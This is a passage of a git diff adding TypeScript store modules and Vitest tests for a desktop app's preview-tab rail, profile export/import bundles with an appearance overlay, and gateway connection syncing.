+  })
+
+  it('gives every kind of target its own tab, side by side', () => {
+    openPreview(fileTarget('/work/demo.html'), 'file-browser')
+    openPreview(urlTarget('http://localhost:5174'), 'tool-result')
+    openPreview(artifactTarget('session-1:dashboard'))
+
+    expect($previewTabs.get().map(tab => tab.target.kind)).toEqual(['file', 'url', 'artifact'])
+  })
+
+  // The Browser is a SINGLETON: the tab names the surface, not the page, so a
+  // second URL navigates the browser it already has instead of stacking a
+  // second Browser tab beside the first.
+  it('keeps one Browser tab — a second url swaps its target instead of adding a tab', () => {
+    openPreview(urlTarget('https://news.ycombinator.com'), 'tool-result')
+    openPreview(urlTarget('https://www.reddit.com'), 'tool-result')
+
+    const urlTabs = $previewTabs.get().filter(tab => tab.target.kind === 'url')
+
+    expect(urlTabs).toHaveLength(1)
+    expect(urlTabs[0].target.url).toBe('https://www.reddit.com')
+    expect($rightRailActiveTabId.get()).toBe(urlTabs[0].id)
+  })
+
+  it('re-fronts an existing tab instead of duplicating it, refreshing its target', () => {
+    openPreview({ ...fileTarget('/work/demo.html'), label: 'old' }, 'file-browser')
+    openPreview({ ...fileTarget('/work/demo.html'), label: 'new' }, 'file-browser')
+
+    expect($previewTabs.get()).toHaveLength(1)
+    expect($previewTarget.get()?.label).toBe('new')
+  })
+
+  // Browsing to an HTML file means "let me read it"; a tool or link handing you
+  // one means "run it". Same road, different render mode on the target.
+  it('renders browsed html as source and handed-over html live', () => {
+    openPreview(fileTarget('/work/browsed.html'), 'file-browser')
+    expect($previewTarget.get()?.renderMode).toBe('source')
+
+    openPreview(fileTarget('/work/handed.html'), 'tool-result')
+    expect($previewTarget.get()?.renderMode).toBe('preview')
+  })
+
+  it('falls back to a neighbouring tab when the active one closes, and clears the selection on the last', () => {
+    openPreview(fileTarget('/work/one.html'), 'file-browser')
+    openPreview(fileTarget('/work/two.html'), 'file-browser')
+
+    closeRightRailTab(previewTabId(fileTarget('/work/two.html')))
+
+    expect($previewTarget.get()?.path).toBe('/work/one.html')
+
+    closeRightRailTab(previewTabId(fileTarget('/work/one.html')))
+    expect($previewTarget.get()).toBeNull()
+    expect($rightRailActiveTabId.get()).toBeNull()
+  })
+
+  it('ignores a close for a tab that is not open, so the shortcut falls through', () => {
+    closeRightRailTab('file:file:///nowhere.html')
+
+    expect($previewTabs.get()).toHaveLength(0)
+  })
+
+  it('closes by the raw source the composer rows were handed', () => {
+    openPreview(urlTarget('http://localhost:5174'), 'tool-result')
+
+    expect(closePreviewForSource('http://localhost:5174')).toBe(true)
+    expect($previewTabs.get()).toHaveLength(0)
+    expect(closePreviewForSource('http://localhost:5174')).toBe(false)
+  })
+
+  it('persists file and url tabs but never artifacts, whose content is memory-only', () => {
+    openPreview(fileTarget('/work/demo.html'), 'file-browser')
+    openPreview(urlTarget('http://localhost:5174'), 'tool-result')
+    openPreview(artifactTarget('session-1:dashboard'))
+
+    const stored = window.localStorage.getItem('clawcodex.desktop.previewTabs.v2') ?? ''
+
+    expect(stored).toContain('/work/demo.html')
+    expect(stored).toContain('localhost:5174')
+    expect(stored).not.toContain('dashboard')
+  })
+
+  it('strips inline image bytes rather than pushing megabytes into storage', () => {
+    openPreview({ ...fileTarget('/work/shot.png'), dataUrl: 'data:image/png;base64,AAAA', previewKind: 'image' })
+
+    expect(window.localStorage.getItem('clawcodex.desktop.previewTabs.v2') ?? '').not.toContain('base64')
+  })
+
+  it('does not persist remote HTML without its in-memory document', () => {
+    openPreview({ ...fileTarget('/remote/report.html'), dataUrl: 'data:text/html;base64,PGgxPnJlbW90ZTwvaDE+' })
+
+    expect(window.localStorage.getItem('clawcodex.desktop.previewTabs.v2')).toBe('[]')
+  })
+
+  it('preserves an explicit HTML source fallback', () => {
+    openPreview({ ...fileTarget('/remote/report.html'), renderMode: 'source' }, 'tool-result')
+
+    expect($previewTarget.get()?.renderMode).toBe('source')
+  })
+
+  it('does not persist transient remote HTML source fallbacks', () => {
+    const target = { ...fileTarget('/remote/report.html'), renderMode: 'source' as const, transient: true }
+
+    openPreview(target, 'tool-result')
+
+    expect(window.localStorage.getItem('clawcodex.desktop.previewTabs.v2')).toBe('[]')
+  })
+})
diff --git a/ui-desktop/src/store/preview.ts b/ui-desktop/src/store/preview.ts
new file mode 100644
index 000000000..995270f78
--- /dev/null
+++ b/ui-desktop/src/store/preview.ts
@@ -0,0 +1,326 @@
+import { atom, computed } from 'nanostores'
+
+import { persistentAtom } from '@/lib/persisted'
+import { normalize } from '@/lib/text'
+
+import { $rightRailActiveTabId, type RightRailTabId, selectRightRailTab } from './layout'
+
+/**
+ * PREVIEW RAIL — one list of tabs, one way in.
+ *
+ * Everything the rail can show is a `PreviewTarget` in `$previewTabs`: a file
+ * on disk, a live URL, or a generated artifact. There is no privileged "live
+ * preview" slot alongside the tabs; `openPreview` is the only entry point, so
+ * a tool result, a file-browser click, and an artifact card all travel the
+ * same road and behave identically once open.
+ *
+ * Tabs are global and outlive the session that created them, like tabs
+ * anywhere else — they close when you close them.
+ */
+
+export interface PreviewTarget {
+  binary?: boolean
+  byteSize?: number
+  /** Inline image bytes (a `data:` URL) when the renderer already holds them —
+   * e.g. a pasted/dropped screenshot whose only on-disk copy is a transient
+   * path the preview can't reliably re-read. Rendered directly and NOT
+   * persisted (it would bloat localStorage). */
+  dataUrl?: string
+  /** `artifact` targets have nothing behind them on disk or on the network —
+   * `url` is an id into the artifact registry, which owns the content. They
+   * are what lets the rail preview generated HTML the workspace never saw. */
+  kind: 'artifact' | 'file' | 'url'
+  label: string
+  large?: boolean
+  language?: string
+  mimeType?: string
+  path?: string
+  previewKind?: 'binary' | 'html' | 'image' | 'pdf' | 'text'
+  renderMode?: 'preview' | 'source'
+  source: string
+  /** Runtime-only target that cannot be restored from persisted state. */
+  transient?: boolean
+  url: string
+}
+
+export interface PreviewServerRestart {
+  message?: string
+  status: 'complete' | 'error' | 'running'
+  taskId: string
+  url: string
+}
+
+/** Where an open came from. Only affects how an HTML file is first rendered:
+ *  browsing files is "peek at the source", a tool/link handing you something is
+ *  "run it". Not a separate code path — just a property of the target. */
+export type PreviewRecordSource = 'explicit-link' | 'file-browser' | 'manual' | 'tool-result'
+
+export interface PreviewTab {
+  id: RightRailTabId
+  target: PreviewTarget
+}
+
+const TABS_STORAGE_KEY = 'clawcodex.desktop.previewTabs.v2'
+/** Superseded by the tab list above; cleared so it can't leak forever. */
+const LEGACY_SESSION_REGISTRY_KEY = 'clawcodex.desktop.sessionPreviews.v1'
+
+function isPreviewTarget(value: unknown): value is PreviewTarget {
+  if (!value || typeof value !== 'object') {
+    return false
+  }
+
+  const r = value as Record<string, unknown>
+
+  return (
+    (r.kind === 'artifact' || r.kind === 'file' || r.kind === 'url') &&
+    typeof r.label === 'string' &&
+    typeof r.source === 'string' &&
+    typeof r.url === 'string'
+  )
+}
+
+// Artifact tabs are never written (their registry is memory-only), so a
+// restored artifact row is stale storage — drop it rather than reviving a tab
+// with nothing behind it.
+function isPreviewTab(value: unknown): value is PreviewTab {
+  if (!value || typeof value !== 'object') {
+    return false
+  }
+
+  const r = value as Record<string, unknown>
+
+  return typeof r.id === 'string' && (r.id.startsWith('file:') || r.id.startsWith('url:')) && isPreviewTarget(r.target)
+}
+
+function isPdfFileTarget(target: PreviewTarget): boolean {
+  if (target.kind !== 'file') {
+    return false
+  }
+
+  if (target.mimeType?.toLowerCase() === 'application/pdf') {
+    return true
+  }
+
+  if ([target.path, target.source].some(value => (value ? /\.pdf$/i.test(value) : false))) {
+    return true
+  }
+
+  try {
+    return /\.pdf$/i.test(new URL(target.url).pathname)
+  } catch {
+    return false
+  }
+}
+
+/** Upgrade tabs persisted by builds that classified PDFs as generic binary.
+ * Without this restore-time migration, an already-open PDF keeps taking the
+ * obsolete raw-binary path after Desktop itself has been upgraded. */
+export function decodePreviewTabs(raw: string): PreviewTab[] {
+  const parsed = JSON.parse(raw) as unknown
+
+  const tabs = (Array.isArray(parsed) ? parsed.filter(isPreviewTab) : []).map(tab =>
+    isPdfFileTarget(tab.target) && tab.target.previewKind === 'binary'
+      ? { ...tab, target: { ...tab.target, previewKind: 'pdf' as const } }
+      : tab
+  )
+
+  // One Browser: rekey restored URL tabs onto the singleton id (rows written
+  // before the id existed carried one id per address) and keep only the
+  // LAST — the most recently opened page is the one the browser shows.
+  const lastUrl = tabs.findLast(tab => tab.target.kind === 'url')
+
+  return tabs
+    .filter(tab => tab.target.kind !== 'url' || tab === lastUrl)
+    .map(tab => (tab.target.kind === 'url' ? { ...tab, id: previewTabId(tab.target) } : tab))
+}
+
+export const $previewTabs = persistentAtom<PreviewTab[]>(TABS_STORAGE_KEY, [], {
+  decode: decodePreviewTabs,
+  // Inline bytes are not restorable. Strip them from images, and skip remote
+  // HTML and artifact tabs that cannot render without their in-memory payload.
+  encode: tabs =>
+    JSON.stringify(
+      tabs.filter(
+        tab =>
+          tab.target.kind !== 'artifact' &&
+          !tab.target.transient &&
+          !(tab.target.previewKind === 'html' && tab.target.dataUrl)
+      ),
+      (key, value) => (key === 'dataUrl' ? undefined : value)
+    )
+})
+
+if (typeof window !== 'undefined') {
+  try {
+    window.localStorage.removeItem(LEGACY_SESSION_REGISTRY_KEY)
+  } catch {
+    // Storage access can throw in locked-down contexts; nothing depends on it.
+  }
+}
+
+/** The tab the rail actually shows. A stale or missing selection falls back to
+ *  the first tab, so the strip, `⌘W`, and the pane never disagree about which
+ *  tab is on screen. */
+function resolveActiveTab(tabs: PreviewTab[], activeTabId: RightRailTabId | null): PreviewTab | null {
+  return tabs.find(tab => tab.id === activeTabId) ?? tabs[0] ?? null
+}
+
+function activePreviewTab(): PreviewTab | null {
+  return resolveActiveTab($previewTabs.get(), $rightRailActiveTabId.get())
+}
+
+// A restored active id whose tab didn't survive validation would leave the rail
+// pointing at nothing.
+selectRightRailTab(activePreviewTab()?.id ?? null)
+
+/** The target the rail is currently showing, or null when it has no tabs. */
+export const $previewTarget = computed(
+  [$previewTabs, $rightRailActiveTabId],
+  (tabs, activeTabId) => resolveActiveTab(tabs, activeTabId)?.target ?? null
+)
+
+/** Raw `source` strings of every open tab, for the composer rows that toggle a
+ *  preview open and closed by the target they were handed. */
+export const $previewTabSources = computed($previewTabs, tabs => tabs.map(tab => tab.target.source))
+
+export const $previewReloadRequest = atom(0)
+export const $previewServerRestart = atom<PreviewServerRestart | null>(null)
+export const $previewServerRestartStatus = computed($previewServerRestart, restart => restart?.status ?? 'idle')
+
+/** The one Browser tab's id. URL targets all share it: the tab names the
+ *  SURFACE (Browser), not the page, so opening a second URL navigates the
+ *  browser it already has — re-front the tab, swap its target, and the pane
+ *  rebuilds its webview against the new url. Files and artifacts stay keyed
+ *  by identity; only the web surface is a singleton. */
+const BROWSER_TAB_ID: RightRailTabId = 'url:browser'
+
+export function previewTabId(target: PreviewTarget): RightRailTabId {
+  return target.kind === 'url' ? BROWSER_TAB_ID : `${target.kind}:${target.url}`
+}
+
+// Browsing files is "peek at the source"; a tool or an explicit link handing
+// you an HTML file means "run it".
+function isFilePreviewSource(source: PreviewRecordSource): boolean {
+  return source === 'file-browser' || source === 'manual'
+}
+
+function previewTargetForSource(target: PreviewTarget, source: PreviewRecordSource): PreviewTarget {
+  if (target.kind !== 'file' || target.previewKind !== 'html' || target.renderMode === 'source') {
+    return target
+  }
+
+  return { ...target, renderMode: isFilePreviewSource(source) ? 'source' : 'preview' }
+}
+
+/** Open (or re-front) the tab for `target`. Re-opening an existing tab refreshes
+ *  its target so a stale label/path can't outlive the thing it points at. The
+ *  only way anything reaches a preview. */
+export function openPreview(target: PreviewTarget, source: PreviewRecordSource = 'manual') {
+  const resolved = previewTargetForSource(target, source)
+  const id = previewTabId(resolved)
+  const current = $previewTabs.get()
+  const index = current.findIndex(tab => tab.id === id)
+  const tab: PreviewTab = { id, target: resolved }
+
+  $previewTabs.set(index === -1 ? [...current, tab] : current.map((item, i) => (i === index ? tab : item)))
+  selectRightRailTab(id)
+}
+
+export function closeRightRailTab(tabId: string) {
+  const current = $previewTabs.get()
+  const index = current.findIndex(tab => tab.id === tabId)
+
+  if (index === -1) {
+    return
+  }
+
+  const next = current.filter(tab => tab.id !== tabId)
+
+  $previewTabs.set(next)
+
+  if ($rightRailActiveTabId.get() === tabId) {
+    selectRightRailTab(next[Math.min(index, next.length - 1)]?.id ?? null)
+  }
+
+  if (next.length === 0) {
+    selectRightRailTab(null)
+  }
+}
+
+/** Close the tab showing `source`, if one is open. Returns whether it closed. */
+export function closePreviewForSource(source: string): boolean {
+  const tab = $previewTabs.get().find(item => item.target.source === source)
+
+  if (!tab) {
+    return false
+  }
+
+  closeRightRailTab(tab.id)
+
+  return true
+}
+
+/** Artifact tabs can't outlive the registry they read from, so clearing it
+ *  closes them. File and URL tabs re-read from their source and are left alone. */
+export function closeArtifactPreviewTabs() {
+  for (const tab of $previewTabs.get()) {
+    if (tab.target.kind === 'artifact') {
+      closeRightRailTab(tab.id)
+    }
+  }
+}
+
+/** Close every tab so the rail's panes leave the tree. */
+export function closeRightRail() {
+  $previewTabs.set([])
+  selectRightRailTab(null)
+}
+
+export function requestPreviewReload() {
+  $previewReloadRequest.set($previewReloadRequest.get() + 1)
+}
+
+export function beginPreviewServerRestart(taskId: string, url: string) {
+  $previewServerRestart.set({ status: 'running', taskId, url })
+}
+
+export function completePreviewServerRestart(taskId: string, text: string) {
+  const current = $previewServerRestart.get()
+
+  if (current?.taskId !== taskId) {
+    return
+  }
+
+  $previewServerRestart.set({
+    ...current,
+    message: text,
+    status: normalize(text).startsWith('error:') ? 'error' : 'complete'
+  })
+}
+
+export function progressPreviewServerRestart(taskId: string, text: string) {
+  const current = $previewServerRestart.get()
+
+  if (current?.taskId !== taskId || current.status !== 'running') {
+    return
+  }
+
+  $previewServerRestart.set({
+    ...current,
+    message: text
+  })
+}
+
+export function failPreviewServerRestart(taskId: string, message: string) {
+  const current = $previewServerRestart.get()
+
+  if (current?.taskId !== taskId || current.status !== 'running') {
+    return
+  }
+
+  $previewServerRestart.set({
+    ...current,
+    message,
+    status: 'error'
+  })
+}
diff --git a/ui-desktop/src/store/profile-share.test.ts b/ui-desktop/src/store/profile-share.test.ts
new file mode 100644
index 000000000..f731bcab7
--- /dev/null
+++ b/ui-desktop/src/store/profile-share.test.ts
@@ -0,0 +1,126 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { DesktopTheme } from '@/themes/types'
+import type { ProfileDesktopOverlay } from '@/types/clawcodex'
+
+// Keep side-effecting transitive imports inert (gateway sockets, REST).
+vi.mock('@/store/gateway', async () => {
+  const { atom } = await import('nanostores')
+
+  return {
+    $gateway: atom<unknown>(null),
+    ensureGatewayForProfile: vi.fn(async () => undefined),
+    openGatewayForProfile: vi.fn(async () => undefined)
+  }
+})
+vi.mock('@/clawcodex', () => ({
+  exportProfileArchive: vi.fn(async () => ({ archive: '/tmp/out.tar.gz', ok: true })),
+  getProfiles: vi.fn(async () => ({ profiles: [] })),
+  importProfileArchive: vi.fn(async () => ({ desktop: null, name: 'imported', ok: true, path: '/tmp/p' })),
+  setApiRequestProfile: vi.fn()
+}))
+vi.mock('@/lib/query-client', () => ({ invalidateProfileScopedQueries: vi.fn() }))
+vi.mock('@/store/starmap', () => ({ resetStarmapGraph: vi.fn() }))
+
+const { applyDesktopOverlay, buildDesktopOverlay, exportProfileBundle } = await import('./profile-share')
+const { $profileColors, setProfileColor } = await import('./profile')
+const { modePref, skinPref } = await import('@/themes/context')
+const { $userThemes } = await import('@/themes/user-themes')
+const { $layoutTree } = await import('@/components/pane-shell/tree/store')
+const { exportProfileArchive } = await import('@/clawcodex')
+
+// isValidTheme only requires background/foreground/primary at runtime; the
+// static type wants the full palette, hence the cast.
+const roseTheme = {
+  name: 'rose-quartz',
+  label: 'Rose Quartz',
+  description: 'test theme',
+  colors: { background: '#fff0f5', foreground: '#221122', primary: '#e91e63' }
+} as unknown as DesktopTheme
+
+beforeEach(() => {
+  window.localStorage.clear()
+  $userThemes.set({})
+  $profileColors.set({})
+})
+
+afterEach(() => {
+  vi.clearAllMocks()
+})
+
+describe('buildDesktopOverlay', () => {
+  it('snapshots skin, mode, rail color, and the layout tree for the profile', () => {
+    skinPref.assign('glam', 'mono')
+    modePref.assign('glam', 'dark')
+    setProfileColor('glam', '#e91e63')
+
+    const overlay = buildDesktopOverlay('glam')
+
+    expect(overlay.version).toBe(1)
+    expect(overlay.skin).toBe('mono')
+    expect(overlay.mode).toBe('dark')
+    expect(overlay.profileColor).toBe('#e91e63')
+    // Built-in skin → no bundled theme definitions.
+    expect(overlay.themes).toBeUndefined()
+  })
+
+  it('bundles the full definition of a non-built-in skin', () => {
+    $userThemes.set({ 'rose-quartz': roseTheme })
+    skinPref.assign('glam', 'rose-quartz')
+
+    const overlay = buildDesktopOverlay('glam')
+
+    expect(overlay.skin).toBe('rose-quartz')
+    expect(overlay.themes).toEqual({ 'rose-quartz': roseTheme })
+  })
+})
+
+describe('applyDesktopOverlay', () => {
+  it('installs bundled themes and assigns skin/mode/color to the new profile', () => {
+    applyDesktopOverlay('glam-copy', {
+      version: 1,
+      skin: 'rose-quartz',
+      mode: 'dark',
+      themes: { 'rose-quartz': roseTheme },
+      profileColor: '#e91e63'
+    })
+
+    expect($userThemes.get()['rose-quartz']).toEqual(roseTheme)
+    expect(skinPref.resolve('glam-copy')).toBe('rose-quartz')
+    expect(modePref.resolve('glam-copy')).toBe('dark')
+    expect($profileColors.get()['glam-copy']).toBe('#e91e63')
+  })
+
+  it('ignores a skin that resolves to nothing and junk layout trees', () => {
+    const before = $layoutTree.get()
+
+    applyDesktopOverlay('glam-copy', {
+      skin: 'no-such-skin',
+      layoutTree: { bogus: true }
+    } as ProfileDesktopOverlay)
+
+    // Unresolvable skin → pref falls back to the default resolution.
+    expect(skinPref.resolve('glam-copy')).toBe(skinPref.resolve('some-unassigned'))
+    expect($layoutTree.get()).toBe(before)
+  })
+
+  it('is a no-op for a plain CLI archive (no overlay)', () => {
+    expect(() => applyDesktopOverlay('glam-copy', null)).not.toThrow()
+    expect(() => applyDesktopOverlay('glam-copy', undefined)).not.toThrow()
+  })
+})
+
+describe('exportProfileBundle', () => {
+  it('stages desktop.json into the archive through extra_files', async () => {
+    skinPref.assign('glam', 'mono')
+
+    const archive = await exportProfileBundle('glam', '/tmp/glam.tar.gz')
+
+    expect(archive).toBe('/tmp/out.tar.gz')
+    const call = vi.mocked(exportProfileArchive).mock.calls[0]
+    expect(call[0]).toBe('glam')
+    const overlay = JSON.parse(call[1]?.extraFiles?.['desktop.json'] ?? '{}') as ProfileDesktopOverlay
+    expect(overlay.skin).toBe('mono')
+    expect(call[1]?.output).toBe('/tmp/glam.tar.gz')
+  })
+})
diff --git a/ui-desktop/src/store/profile-share.ts b/ui-desktop/src/store/profile-share.ts
new file mode 100644
index 000000000..9188ee9bb
--- /dev/null
+++ b/ui-desktop/src/store/profile-share.ts
@@ -0,0 +1,218 @@
+/**
+ * Profile share: export/import a profile as a portable bundle.
+ *
+ * The archive is the CLI's own `clawcodex profile export` tar.gz (config, skills,
+ * SOUL.md, cron — credentials always excluded), plus one desktop-only file at
+ * the root: `desktop.json`, the appearance/interface overlay (skin + mode,
+ * any user-theme definitions the skin needs, the profile rail color, and the
+ * layout tree). A CLI import of the same archive simply carries the file
+ * along; the desktop import applies it so the receiving user gets the whole
+ * look — theme, layout, skills — as a ready-to-use profile.
+ *
+ * Paths, not bytes, cross the renderer↔backend boundary: the native save/open
+ * dialogs and the backend share the filesystem for local and pooled backends.
+ */
+
+import { exportProfileArchive, importProfileArchive } from '@/clawcodex'
+import { isLayoutNode, normalize } from '@/components/pane-shell/tree/model'
+import { $layoutTree, markActivePreset, persistTree } from '@/components/pane-shell/tree/store'
+import { translateNow } from '@/i18n'
+import { modePref, skinPref, type ThemeMode } from '@/themes/context'
+import { BUILTIN_THEMES } from '@/themes/presets'
+import type { DesktopTheme } from '@/themes/types'
+import { $userThemes, installUserTheme, resolveTheme } from '@/themes/user-themes'
+import type { ProfileDesktopOverlay } from '@/types/clawcodex'
+
+import { notify, notifyError } from './notifications'
+import {
+  $activeGatewayProfile,
+  $profileColors,
+  normalizeProfileKey,
+  refreshActiveProfile,
+  selectProfile,
+  setProfileColor
+} from './profile'
+
+/** Filename of the overlay inside the archive (profile root). */
+export const DESKTOP_OVERLAY_FILENAME = 'desktop.json'
+
+const OVERLAY_VERSION = 1
+
+/**
+ * Snapshot the desktop appearance/interface for `profile` into the overlay.
+ * The layout tree is global (one window layout, not per-profile) — it rides
+ * along so the receiver can opt into the sender's whole interface.
+ */
+export function buildDesktopOverlay(profile: string): ProfileDesktopOverlay {
+  const key = normalizeProfileKey(profile)
+  const skin = skinPref.resolve(key)
+  const mode = modePref.resolve(key)
+
+  // Bundle the full definition of any non-built-in theme the skin points at,
+  // so the receiver's picker can resolve it. Built-ins resolve by name.
+  const themes: Record<string, unknown> = {}
+  const userTheme = BUILTIN_THEMES[skin] ? undefined : $userThemes.get()[skin]
+
+  if (userTheme) {
+    themes[userTheme.name] = userTheme
+  }
+
+  return {
+    version: OVERLAY_VERSION,
+    skin,
+    mode,
+    ...(Object.keys(themes).length ? { themes } : {}),
+    profileColor: $profileColors.get()[key] ?? null,
+    layoutTree: $layoutTree.get()
+  }
+}
+
+/** Export `profile` (backend archive + desktop overlay) to `output` (or the
+ *  backend's staging dir when omitted). Returns the archive path. */
+export async function exportProfileBundle(profile: string, output?: string): Promise<string> {
+  const overlay = buildDesktopOverlay(profile)
+
+  const { archive } = await exportProfileArchive(profile, {
+    extraFiles: { [DESKTOP_OVERLAY_FILENAME]: JSON.stringify(overlay, null, 2) },
+    output
+  })
+
+  return archive
+}
+
+const isThemeMode = (value: unknown): value is ThemeMode => value === 'light' || value === 'dark' || value === 'system'
+
+/**
+ * Apply an imported overlay: install bundled themes, assign the new profile's
+ * skin + mode + rail color, and (when present) adopt the sender's layout tree.
+ * Every step is independent and best-effort — a malformed half never blocks
+ * the rest, and a missing overlay is a plain CLI-exported archive (no-op).
+ */
+export function applyDesktopOverlay(profile: string, overlay: null | ProfileDesktopOverlay | undefined): void {
+  if (!overlay || typeof overlay !== 'object') {
+    return
+  }
+
+  const key = normalizeProfileKey(profile)
+
+  // 1. Bundled theme definitions. installUserTheme validates shape and refuses
+  //    built-in collisions; a bad entry just doesn't install.
+  for (const theme of Object.values(overlay.themes ?? {})) {
+    try {
+      installUserTheme(theme as DesktopTheme)
+    } catch {
+      // Invalid/colliding theme — the skin assignment below falls back.
+    }
+  }
+
+  // 2. Appearance assignment for the new profile. Only assign a skin that
+  //    actually resolves so the pref never points at nothing.
+  if (typeof overlay.skin === 'string' && resolveTheme(overlay.skin)) {
+    skinPref.assign(key, overlay.skin)
+  }
+
+  if (isThemeMode(overlay.mode)) {
+    modePref.assign(key, overlay.mode)
+  }
+
+  // 3. Rail color.
+  if (typeof overlay.profileColor === 'string' && overlay.profileColor) {
+    setProfileColor(key, overlay.profileColor)
+  }
+
+  // 4. Layout tree — global by design (one window layout). Normalize through
+  //    the same canonicalizer the boot load uses; a null result means the
+  //    tree was junk, so the current layout stays.
+  if (overlay.layoutTree != null && isLayoutNode(overlay.layoutTree)) {
+    const tree = normalize(overlay.layoutTree)
+
+    if (tree) {
+      $layoutTree.set(tree)
+      persistTree()
+      markActivePreset('custom')
+    }
+  }
+}
+
+/** Import an archive, apply its desktop overlay, return the new profile name. */
+export async function importProfileBundle(archive: string, name?: string): Promise<string> {
+  const result = await importProfileArchive(archive, name)
+  applyDesktopOverlay(result.name, result.desktop)
+
+  return result.name
+}
+
+/** The profile the export pickers should default to — the active one. */
+export function activeProfileKey(): string {
+  return normalizeProfileKey($activeGatewayProfile.get())
+}
+
+// ── Dialog-driven flows ──────────────────────────────────────────────────────
+// One store function per user verb (⌘K row, rail button, and any future menu
+// item all funnel here). Toasts via the shared notification store; strings via
+// translateNow so the flows stay callable from non-React surfaces.
+
+const ARCHIVE_FILTERS = [{ extensions: ['tar.gz', 'tgz'], name: 'ClawCodex profile' }]
+
+/** Pick a save location and export `profile` (default: the active one).
+ *  Returns the archive path, or null when the user cancelled. */
+export async function runExportProfileFlow(profile?: string): Promise<null | string> {
+  const target = normalizeProfileKey(profile ?? activeProfileKey())
+  const pick = window.clawcodexDesktop?.selectSavePath
+
+  if (!pick) {
+    return null
+  }
+
+  const output = await pick({
+    title: translateNow('profiles.exportProfile'),
+    defaultPath: `${target}.tar.gz`,
+    filters: ARCHIVE_FILTERS
+  })
+
+  if (!output) {
+    return null
+  }
+
+  try {
+    const archive = await exportProfileBundle(target, output)
+    notify({ kind: 'success', title: translateNow('profiles.exported'), message: archive })
+
+    return archive
+  } catch (error) {
+    notifyError(error, translateNow('profiles.failedExport'))
+
+    return null
+  }
+}
+
+/** Pick an archive and import it as a new profile; lands the user in it on a
+ *  fresh chat. Returns the new profile name, or null when cancelled/failed. */
+export async function runImportProfileFlow(): Promise<null | string> {
+  const paths = await window.clawcodexDesktop?.selectPaths?.({
+    title: translateNow('profiles.importProfile'),
+    multiple: false,
+    filters: ARCHIVE_FILTERS
+  })
+
+  const archive = paths?.[0]
+
+  if (!archive) {
+    return null
+  }
+
+  try {
+    const name = await importProfileBundle(archive)
+    notify({ kind: 'success', title: translateNow('profiles.imported'), message: name })
+    // Same landing as CreateProfileDialog's onCreated: refresh the list, then
+    // switch into the new profile on a fresh chat.
+    await refreshActiveProfile()
+    selectProfile(name)
+
+    return name
+  } catch (error) {
+    notifyError(error, translateNow('profiles.failedImport'))
+
+    return null
+  }
+}
diff --git a/ui-desktop/src/store/profile.test.ts b/ui-desktop/src/store/profile.test.ts
new file mode 100644
index 000000000..1d4f12256
--- /dev/null
+++ b/ui-desktop/src/store/profile.test.ts
@@ -0,0 +1,174 @@
+import { atom } from 'nanostores'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexConnection } from '@/global'
+import type { ProfileInfo } from '@/types/clawcodex'
+
+// Keep profile.ts's side-effecting imports inert: the gateway socket layer and
+// the REST query client must not run for real in a unit test.
+const ensureGatewayForProfile = vi.fn(async () => undefined)
+const openGatewayForProfile = vi.fn(async (_profile: string) => undefined)
+const $gateway = atom<unknown>({ id: 'live-socket' })
+const resetStarmapGraph = vi.fn()
+
+vi.mock('@/store/gateway', () => ({ $gateway, ensureGatewayForProfile, openGatewayForProfile }))
+vi.mock('@/clawcodex', () => ({
+  getProfiles: vi.fn(async () => ({ profiles: [] })),
+  setApiRequestProfile: vi.fn()
+}))
+vi.mock('@/lib/query-client', () => ({ invalidateProfileScopedQueries: vi.fn() }))
+vi.mock('@/store/starmap', () => ({ resetStarmapGraph }))
+
+const { $activeGatewayProfile, $profiles, ensureGatewayProfile, prewarmProfileBackend, refreshProfiles } =
+  await import('./profile')
+
+const { $connection } = await import('./session')
+const { invalidateProfileScopedQueries } = await import('@/lib/query-client')
+const { getProfiles } = await import('@/clawcodex')
+
+const profile = (name: string, isDefault = false): ProfileInfo => ({
+  has_env: false,
+  is_default: isDefault,
+  model: null,
+  name,
+  path: `/tmp/clawcodex/${name}`,
+  provider: null,
+  skill_count: 0
+})
+
+const remoteConn = (over: Partial<ClawCodexConnection> = {}): ClawCodexConnection =>
+  ({ baseUrl: 'https://clawcodex-roy.tail.ts.net', mode: 'remote', profile: 'vps-remote', ...over }) as ClawCodexConnection
+
+const localConn = (over: Partial<ClawCodexConnection> = {}): ClawCodexConnection =>
+  ({ baseUrl: '', mode: 'local', profile: 'default', ...over }) as ClawCodexConnection
+
+const getConnection = vi.fn<(profile?: string | null) => Promise<ClawCodexConnection>>()
+
+beforeEach(() => {
+  getConnection.mockReset()
+  ensureGatewayForProfile.mockClear()
+  openGatewayForProfile.mockClear()
+  $gateway.set({ id: 'live-socket' })
+  $activeGatewayProfile.set('default')
+  $connection.set(localConn())
+  $profiles.set([])
+  vi.stubGlobal('window', { clawcodexDesktop: { getConnection } })
+  vi.mocked(invalidateProfileScopedQueries).mockClear()
+  resetStarmapGraph.mockClear()
+})
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+  $connection.set(null)
+})
+
+describe('ensureGatewayProfile → $connection sync (#46651)', () => {
+  it('refreshes $connection to the remote descriptor when activating a remote pool profile', async () => {
+    // Regression: the primary window backend is local, so $connection.mode is
+    // "local". Activating the remote profile must flip it to "remote" — without
+    // this, image attach uses path-based image.attach against the remote
+    // gateway ("image not found: C:\\…") instead of image.attach_bytes.
+    getConnection.mockResolvedValue(remoteConn())
+
+    await ensureGatewayProfile('vps-remote')
+
+    expect(ensureGatewayForProfile).toHaveBeenCalledWith('vps-remote')
+    expect(getConnection).toHaveBeenCalledWith('vps-remote')
+    expect($connection.get()?.mode).toBe('remote')
+    expect($connection.get()?.profile).toBe('vps-remote')
+  })
+
+  it('resyncs $connection back to local when returning to the default profile', async () => {
+    $activeGatewayProfile.set('vps-remote')
+    $connection.set(remoteConn())
+    getConnection.mockResolvedValue(localConn())
+
+    await ensureGatewayProfile('default')
+
+    expect(getConnection).toHaveBeenCalledWith('default')
+    expect($connection.get()?.mode).toBe('local')
+  })
+
+  it('leaves the prior connection intact when the descriptor fetch fails', async () => {
+    getConnection.mockRejectedValue(new Error('backend unreachable'))
+
+    await ensureGatewayProfile('vps-remote')
+
+    // Best-effort: boot/reconnect resyncs later; we must not null it out here.
+    expect($connection.get()?.mode).toBe('local')
+  })
+
+  it('does not churn $connection when the target is already the active profile', async () => {
+    $activeGatewayProfile.set('vps-remote')
+    $connection.set(remoteConn())
+
+    await ensureGatewayProfile('vps-remote')
+
+    expect(getConnection).not.toHaveBeenCalled()
+    expect(ensureGatewayForProfile).not.toHaveBeenCalled()
+    expect($connection.get()?.mode).toBe('remote')
+  })
